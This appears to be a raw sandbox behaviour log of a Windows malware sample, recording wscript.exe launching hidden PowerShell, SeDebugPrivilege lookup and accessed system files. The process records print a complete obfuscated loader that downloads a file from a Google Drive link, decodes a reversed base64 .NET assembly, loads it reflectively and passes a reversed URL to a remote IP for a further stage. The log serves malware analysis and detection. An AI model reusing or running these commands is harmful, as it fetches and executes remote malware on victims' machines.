LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlYkNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHdlYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2VVcmwpO3EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FPJysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aDFTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuSW5kZXhPZihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2YocU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCAtZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGbGEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRlbmRJbmRleCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB9KScrJ1stMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZXRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNkZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVBsQWNFKChbQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdNzUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
parent_process wscript.exe martian_process powershell -command $Codigo = 'SWVYKCAoJ3FPJysnNGltYWdlVXJsID0gaDFTaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgaDFTO3FPNHcnKydlYkNsaWVuJysndCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDJysnbCcrJ2llbnQ7cU80aW1hZ2VCeXRlcyA9IHFPNHdlYkNsaWVudC4nKydEb3dubG9hZERhdGEocU80aW1hJysnZ2VVcmwpO3EnKydPNGltYWdlVGV4dCA9IFtTJysneXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHFPJysnNGltYWdlQnl0ZXMpO3FPJysnNHN0YXJ0RmxhZyA9IGgxUzw8QkFTRTY0X1NUQVJUPj5oMVM7cU80ZW5kRmxhZyA9IGgxUzw8QkFTRTY0X0VORD4+aDFTO3FPNHN0YXJ0SW5kZXggPSBxTzRpbWFnZVRlJysneHQuSW5kZXhPZihxTzRzdGFydEZsYWcpO3FPNGVuZEluZGV4ID0gcU80aW1hZ2VUZXh0LkluZGV4T2YocU80ZW5kRmxhZyk7cU80cycrJ3RhcnRJbmRleCAtZ2UgMCAtYW5kIHFPNGVuZEluZGV4IC1ndCBxTzRzdGFydEluZCcrJ2V4O3FPNHN0YXJ0SW5kZXggKz0gcU80c3RhcnRGbGEnKydnLkxlbmd0aDtxTzRiYXNlNjRMZW5ndGggPSBxTzRlbmRJbmRleCAtIHFPNHN0YXJ0SW5kZXg7cU80YmFzZTY0Q29tbWFuZCA9IHFPNGltYWdlVGV4dC5TdWJzdCcrJ3JpbmcocU80c3RhcnRJbmRleCwgcU80YmFzZTY0TGVuZ3RoJysnKTtxTzRiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChxTzRiYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgS3lJIEZvckVhY2gtT2JqZWN0IHsgcU80XyB9KScrJ1stMS4uLShxTzRiYXNlNjRDb21tYW5kLkxlbmd0aCldO3FPNGNvbW1hbmRCeXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocU80YmFzZTY0UmV2ZXJzZWQpO3FPNGxvYWRlZEEnKydzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChxTzRjb21tYW5kQnl0ZXMpO3FPNHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoaDFTVkFJaDFTKTtxTzR2YWlNZXRob2QuSW52b2tlKHFPNG51bGwsIEAoaDFTdHh0LjQ0NDZlc2FiYmJiYmInKydiYmJiZXdtYWRhbS80MzEuODcxLjY0Ljg5MS8vOnB0dGhoMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxU2Rlc2F0aXZhJysnZG9oMVMsIGgxU2Rlc2F0aXZhZG9oMVMsIGgxJysnU0FkZEluUHJvY2VzczMyaDFTLCBoMVMnKydkZXNhdGl2YWRvaDFTLCBoMVNkZXNhdGl2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVNkZXNhdGknKyd2YWRvaDFTLGgxU2Rlc2F0aXZhZG9oMVMsaDFTZGVzYXRpdmFkb2gxUyxoMVMxaDFTLGgxU2Rlc2F0aXZhZG9oMVMpKTsnKS5yZVBsQWNFKChbQ2hhUl0xMTMrW0NoYVJdNzkrW0NoYVJdNTIpLCckJykucmVQbEFjRSgoW0NoYVJdNzUrW0NoYVJdMTIxK1tDaGFSXTczKSxbc3RyaU5nXVtDaGFSXTEyNCkucmVQbEFjRSgoW0NoYVJdMTA0K1tDaGFSXTQ5K1tDaGFSXTgzKSxbc3RyaU5nXVtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IeX( ('qO'+'4imageUrl = h1Shttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur h1S;qO4w'+'ebClien'+'t = New-Object System.Net.WebC'+'l'+'ient;qO4imageBytes = qO4webClient.'+'DownloadData(qO4ima'+'geUrl);q'+'O4imageText = [S'+'ystem.Text.Encoding]::UTF8.GetString(qO'+'4imageBytes);qO'+'4startFlag = h1S<<BASE64_START>>h1S;qO4endFlag = h1S<<BASE64_END>>h1S;qO4startIndex = qO4imageTe'+'xt.IndexOf(qO4startFlag);qO4endIndex = qO4imageText.IndexOf(qO4endFlag);qO4s'+'tartIndex -ge 0 -and qO4endIndex -gt qO4startInd'+'ex;qO4startIndex += qO4startFla'+'g.Length;qO4base64Length = qO4endIndex - qO4startIndex;qO4base64Command = qO4imageText.Subst'+'ring(qO4startIndex, qO4base64Length'+');qO4base64Reversed = -join (qO4base64Command.To'+'CharArray() KyI ForEach-Object { qO4_ })'+'[-1..-(qO4base64Command.Length)];qO4commandBytes = [Syste'+'m.Convert]::FromBase64String(qO4base64Reversed);qO4loadedA'+'ssembly = [System.Reflection.Assembly]::Load(qO4commandBytes);qO4vaiMethod = [dnlib.IO.Home].GetMethod(h1SVAIh1S);qO4vaiMethod.Invoke(qO4null, @(h1Stxt.4446esabbbbbb'+'bbbbewmadam/431.871.64.891//:ptthh1S, h1Sdesativadoh1S, h1Sdesativa'+'doh1S, h1Sdesativadoh1S, h1'+'SAddInProcess32h1S, h1S'+'desativadoh1S, h1Sdesativadoh1S,h1Sdesativadoh1S,h1Sdesativadoh1S,h1Sdesati'+'vadoh1S,h1Sdesativadoh1S,h1Sdesativadoh1S,h1S1h1S,h1Sdesativadoh1S));').rePlAcE(([ChaR]113+[ChaR]79+[ChaR]52),'$').rePlAcE(([ChaR]75+[ChaR]121+[ChaR]73),[striNg][ChaR]124).rePlAcE(([ChaR]104+[ChaR]49+[ChaR]83),[striNg][ChaR]39) )"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe